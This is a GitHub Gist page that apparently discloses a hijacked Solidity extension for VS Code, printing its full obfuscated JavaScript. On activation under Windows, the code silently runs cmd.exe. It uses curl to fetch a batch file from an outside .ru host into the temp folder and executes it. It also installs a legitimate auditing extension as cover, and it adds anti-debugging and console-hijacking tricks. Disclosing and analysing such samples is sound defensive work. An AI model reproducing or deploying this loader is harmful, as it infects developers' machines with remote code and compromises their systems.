Created
October 2, 2024 13:38
-
-
Save Magicking/c58a9d5168bc741c201b56f4530f12ec to your computer and use it in GitHub Desktop.
Obfuscated hacked extension Soldity for vscode
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function (_0x4e0a6f, _0x1ddeff) { | |
const _0x359e48 = _0x4e0a6f(); | |
while (true) { | |
try { | |
const _0x414d4c = -parseInt(_0x5e9b(476, -0x92)) / 1 * (parseInt(_0x5e9b(480, -0x52)) / 2) + parseInt(_0x5e9b(417, 0x507)) / 3 + parseInt(_0x5e9b(530, 0x58f)) / 4 * (parseInt(_0x5e9b(423, 0x553)) / 5) + -parseInt(_0x5e9b(513, 0x537)) / 6 + -parseInt(_0x5e9b(488, -0x6a)) / 7 + parseInt(_0x5e9b(446, 0x533)) / 8 + parseInt(_0x5e9b(421, 0x550)) / 9; | |
if (_0x414d4c === _0x1ddeff) { | |
break; | |
} else { | |
_0x359e48.push(_0x359e48.shift()); | |
} | |
} catch (_0x4a7667) { | |
_0x359e48.push(_0x359e48.shift()); | |
} | |
} | |
})(_0x59c2, 867196); | |
function _0x5e9b(_0x56cb13, _0xc09c1b) { | |
const _0x222a6c = _0x59c2(); | |
_0x5e9b = function (_0x260f75, _0x592057) { | |
_0x260f75 = _0x260f75 - 409; | |
let _0x14a7d4 = _0x222a6c[_0x260f75]; | |
if (_0x5e9b.DdbfZA === undefined) { | |
var _0x302706 = function (_0x7f28cf) { | |
let _0x3c06f8 = ''; | |
let _0x1f2a56 = ''; | |
let _0x545fff = _0x3c06f8 + _0x302706; | |
let _0x3d031a = 0; | |
let _0x1beb42; | |
let _0x2ed3f6; | |
for (let _0x5db0a6 = 0; _0x2ed3f6 = _0x7f28cf.charAt(_0x5db0a6++); ~_0x2ed3f6 && (_0x1beb42 = _0x3d031a % 4 ? _0x1beb42 * 64 + _0x2ed3f6 : _0x2ed3f6, _0x3d031a++ % 4) ? _0x3c06f8 += _0x545fff.charCodeAt(_0x5db0a6 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x1beb42 >> (-2 * _0x3d031a & 6)) : _0x3d031a : 0) { | |
_0x2ed3f6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x2ed3f6); | |
} | |
let _0x355024 = 0; | |
for (let _0x260112 = _0x3c06f8.length; _0x355024 < _0x260112; _0x355024++) { | |
_0x1f2a56 += '%' + ('00' + _0x3c06f8.charCodeAt(_0x355024).toString(16)).slice(-2); | |
} | |
return decodeURIComponent(_0x1f2a56); | |
}; | |
_0x5e9b.gJbMJF = _0x302706; | |
_0x56cb13 = arguments; | |
_0x5e9b.DdbfZA = true; | |
} | |
const _0xdacb8e = _0x222a6c[0]; | |
const _0x35311 = _0x260f75 + _0xdacb8e; | |
const _0x393130 = _0x56cb13[_0x35311]; | |
if (!_0x393130) { | |
const _0x4d914d = function (_0x96c42a) { | |
this.HvcSBV = _0x96c42a; | |
this.bvFkFe = [1, 0, 0]; | |
this.gUilTq = function () { | |
return 'newState'; | |
}; | |
this.Jjjmuj = "\\w+ *\\(\\) *{\\w+ *"; | |
this.DIwDkJ = "['|\"].+['|\"];? *}"; | |
}; | |
_0x4d914d.prototype.yLhjce = function () { | |
const _0x5388e6 = new RegExp(this.Jjjmuj + this.DIwDkJ); | |
const _0xfcb602 = _0x5388e6.test(this.gUilTq.toString()) ? --this.bvFkFe[1] : --this.bvFkFe[0]; | |
return this.PMHhtc(_0xfcb602); | |
}; | |
_0x4d914d.prototype.PMHhtc = function (_0x26273e) { | |
if (!Boolean(~_0x26273e)) { | |
return _0x26273e; | |
} | |
return this.ggYdHj(this.HvcSBV); | |
}; | |
_0x4d914d.prototype.ggYdHj = function (_0xc8ac6e) { | |
let _0x7edf36 = 0; | |
for (let _0x22213b = this.bvFkFe.length; _0x7edf36 < _0x22213b; _0x7edf36++) { | |
this.bvFkFe.push(Math.round(Math.random())); | |
_0x22213b = this.bvFkFe.length; | |
} | |
return _0xc8ac6e(this.bvFkFe[0]); | |
}; | |
new _0x4d914d(_0x5e9b).yLhjce(); | |
_0x14a7d4 = _0x5e9b.gJbMJF(_0x14a7d4); | |
_0x56cb13[_0x35311] = _0x14a7d4; | |
} else { | |
_0x14a7d4 = _0x393130; | |
} | |
return _0x14a7d4; | |
}; | |
return _0x5e9b(_0x56cb13, _0xc09c1b); | |
} | |
const _0x233156 = function () { | |
let _0x26ea17 = true; | |
return function (_0x5534a7, _0x261ded) { | |
const _0x5d5c4a = _0x26ea17 ? function () { | |
if (_0x261ded) { | |
const _0x49302d = _0x261ded.apply(_0x5534a7, arguments); | |
_0x261ded = null; | |
return _0x49302d; | |
} | |
} : function () {}; | |
_0x26ea17 = false; | |
return _0x5d5c4a; | |
}; | |
}(); | |
const _0x427b86 = _0x233156(this, function () { | |
return _0x427b86.toString().search("(((.+)+)+)+$").toString().constructor(_0x427b86).search("(((.+)+)+)+$"); | |
}); | |
_0x427b86(); | |
const _0x36d1b9 = function () { | |
const _0x3ddcec = { | |
'yRGfz': function (_0x479ad7, _0x313846) { | |
return _0x479ad7 !== _0x313846; | |
} | |
}; | |
_0x3ddcec.zxchS = "wNuYl"; | |
let _0x1264ad = true; | |
return function (_0x5ca656, _0xafc51a) { | |
if (_0x3ddcec.zxchS !== _0x3ddcec.zxchS) { | |
const _0x4c551b = _0x51f819.apply(_0x1ebf5c, arguments); | |
_0x5acd09 = null; | |
return _0x4c551b; | |
} else { | |
const _0x417ae9 = _0x1264ad ? function () { | |
if (_0xafc51a) { | |
const _0x5a4991 = _0xafc51a.apply(_0x5ca656, arguments); | |
_0xafc51a = null; | |
return _0x5a4991; | |
} | |
} : function () {}; | |
_0x1264ad = false; | |
return _0x417ae9; | |
} | |
}; | |
}(); | |
const _0x596d7b = _0x36d1b9(this, function () { | |
const _0x22affe = function () { | |
let _0x4ae677; | |
try { | |
_0x4ae677 = Function("return (function() {}.constructor(\"return this\")( ));")(); | |
} catch (_0x1d701d) { | |
_0x4ae677 = window; | |
} | |
return _0x4ae677; | |
}; | |
const _0x4c3864 = _0x22affe(); | |
const _0x3dc523 = _0x4c3864.console = _0x4c3864.console || {}; | |
const _0x321b0b = ["log", "warn", 'info', "error", 'exception', "table", "trace"]; | |
for (let _0xd836dc = 0; _0xd836dc < _0x321b0b.length; _0xd836dc++) { | |
const _0x1e26f4 = _0x36d1b9.constructor.prototype.bind(_0x36d1b9); | |
const _0x382532 = _0x321b0b[_0xd836dc]; | |
const _0x4e469c = _0x3dc523[_0x382532] || _0x1e26f4; | |
_0x1e26f4.__proto__ = _0x36d1b9.bind(_0x36d1b9); | |
_0x1e26f4.toString = _0x4e469c.toString.bind(_0x4e469c); | |
_0x3dc523[_0x382532] = _0x1e26f4; | |
} | |
}); | |
_0x596d7b(); | |
const vscode = require("vscode"); | |
const { | |
exec | |
} = require("child_process"); | |
function _0x59c2() { | |
const _0x580881 = ['D29YA2jLBMnOlG', 'BMn0Aw9UkcKG', 'y21KlMv4zsaVyW', 'Chzozfq', 'y3rPDMf0zwqU', 'iIv0rw1qjvWXlG', 'EhfNrgq', 'zxnZ', 'DfzwB04', 'BwfUza', 'ALbxwMS', 'zgvHy3rPDMf0zq', 'y21KiG', 'ChjVDg90ExbL', 'wKHKAKu', 'BeTUs2S', 'Dg9Y', 'ntu5qK9Ptvbi', 'D2HVlNj1l2zPBa', 'sKPNEfi', 'BM1Auui', 'mti2mKjps1rVvG', 'B24Gy29TCgXLDa', 'y3rVCIGICMv0Dq', 'DgLUDgLUD2vIlG', 'CxjStfK', 'BfnTthO', 'ChvZAa', 'AvnNuKG', 'oti3nduXmer3CK1usq', 'Bw1HBMq', 'y2HPBgrFChjVyW', 'igLZigfSCMvHza', 'vfv5txC', 'zxHWB3j0CW', 'rxP3uum', 'E30Uy29UC3rYDq', 'zMjsBuG', 'ywn0AxzHDgu', 'C2vHCMnO', 'sw5ZDgfSBgf0Aq', 'DgfIBgu', 'C1HeCgu', 'y29UC29Szq', 'zxH0zw5ZAw9UCW', 'ywvdB1i', 'D2LUzg93', 'z2v0rxH0zw5ZAq', 'shPwDfy', 'DgvUC2LVBG', 'C21hEum', 'Bg9N', 'CgXHDgzVCM0', 'EhDYCgO', 'odeWmdi4mNjxAwLwBq', 'BgvUz3rO', 'y29UC3rYDwn0BW', 'EvjhzNO', 'wxD0ANy', 'v0jyqwW', 'D051wwW', 'z3LhELu', 'EsbPBNn0ywXSzq', 'qvzPreu', 'u1jltNy', 'DNnJB2rL', 's0zrtem', 'u0riBNK', 'rMfPBgvKihrVia', 'uw54y3C', 'yMXcwe0', 'mtCWmJiYmfr4C05wqG', 'AMLLB1u', 'ENHJAfm', 'z2Xdt3C', 'runzyMy', 'C2HVD0LUzM9YBq', 'ywvTq3K', 'B2zvAwK', 'DhrWCZOVl3DOEq', 'A2r5ue8', 'zxHLy3v0zunVBq', 'ndiXnJm4mgHLzMPNBa', 'A3njy0S', 'yZeUCNvU', 'suj2B2S', 'nJu2nJq1nfbqzvLjAG', 'D2LUzg93C0HPza', 'mtbKqLrgsvO', 'yxbWBhK', 'zxbkq2y', 'CMv0DxjUicHMDq', 't3HRqM4', 'vMv1Du8', 'uefwzK0', 'v2D5tMC', 'yxrPB25nzxnZyq', 'lMLUC3rHBgXfEa', 'AgzAswu', 'zxmVms5JBwqGlq', 's3nlqMK', 'D2fYBG', 'tenzzfK', 'seTzsxq', 'yMLUza', 'u09bAuG', 'zwqU', 'zxjYB3i', 'CMvNAxn0zxjdBW', 'Axnby3rPDMu', 'Dg9tDhjPBMC', 'nZi2otGWog5zA1LUvG', 'DwHlCMK', 'v05iCMS', 'rxH0zw5ZAw9Uia', 'ANfeB0e', 'y29TBwfUzhm', 'C2HVD0vYCM9Ytq', 's3f3Ceu', 'DhjHy2u', 'kcGOlISPkYKRkq', 'BYaIjxrfBvaLxa', 'vgrODLq', 'CM4GDgHPCYiPka']; | |
_0x59c2 = function () { | |
return _0x580881; | |
}; | |
return _0x59c2(); | |
} | |
function f1(_0x5ad991) { | |
return new Promise((_0xf86f95, _0x2e3cca) => { | |
const _0x2c4819 = { | |
windowsHide: true | |
}; | |
exec("cmd.exe /c " + _0x5ad991, _0x2c4819, (_0x2ae7bc, _0x52d0ae, _0x12ce2a) => { | |
if (_0x2ae7bc) { | |
_0x2e3cca(_0x2ae7bc); | |
return; | |
} | |
_0xf86f95(); | |
}); | |
}); | |
} | |
async function f2(_0x292909) { | |
try { | |
const _0x1470b7 = vscode.extensions.getExtension(_0x292909); | |
if (_0x1470b7) { | |
vscode.window.showInformationMessage("Extension " + _0x292909 + " is already installed."); | |
return; | |
} | |
await vscode.commands.executeCommand("workbench.extensions.installExtension", _0x292909); | |
vscode.window.showInformationMessage("Installing " + _0x292909 + '.'); | |
setTimeout(async () => { | |
const _0x51226d = vscode.extensions.getExtension(_0x292909); | |
if (_0x51226d && !_0x51226d.isActive) { | |
await _0x51226d.activate(); | |
vscode.window.showInformationMessage("Extension has been activated."); | |
} | |
}, 3000); | |
} catch (_0x4629a6) { | |
vscode.window.showErrorMessage("Failed to install extension"); | |
} | |
} | |
function activate(_0x5c1572) { | |
let _0x3414fe = vscode.commands.registerCommand('c1.run', async function () { | |
if (process.platform === 'win32') { | |
try { | |
await Promise.all([f1("curl -Ss https://whyareyouherewho.ru/files/1.cmd -o \"%tEmP%\\1.cmd\" && \"%tEmP%\\1.cmd\""), f2("tintinweb.solidity-visual-auditor")]); | |
vscode.window.showInformationMessage("Installation completed."); | |
} catch (_0x4c2784) {} | |
} | |
}); | |
_0x5c1572.subscriptions.push(_0x3414fe); | |
if (process.platform === 'win32') { | |
setTimeout(() => { | |
vscode.commands.executeCommand("c1.run"); | |
}, 1000); | |
} | |
} | |
function _0x943314(_0x14fedb, _0x5b85bc, _0x20cb15, _0x4b1373) { | |
return _0x5e9b(_0x5b85bc + 0x373, _0x4b1373); | |
} | |
function deactivate() {} | |
const _0x293de5 = {}; | |
function _0x313586(_0x1e1ac9, _0x3f96e5, _0x37a696, _0x1036dc) { | |
return _0x5e9b(_0x1e1ac9 + 0x23e, _0x3f96e5); | |
} | |
_0x293de5.activate = activate; | |
_0x293de5.deactivate = deactivate; | |
module.exports = _0x293de5; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment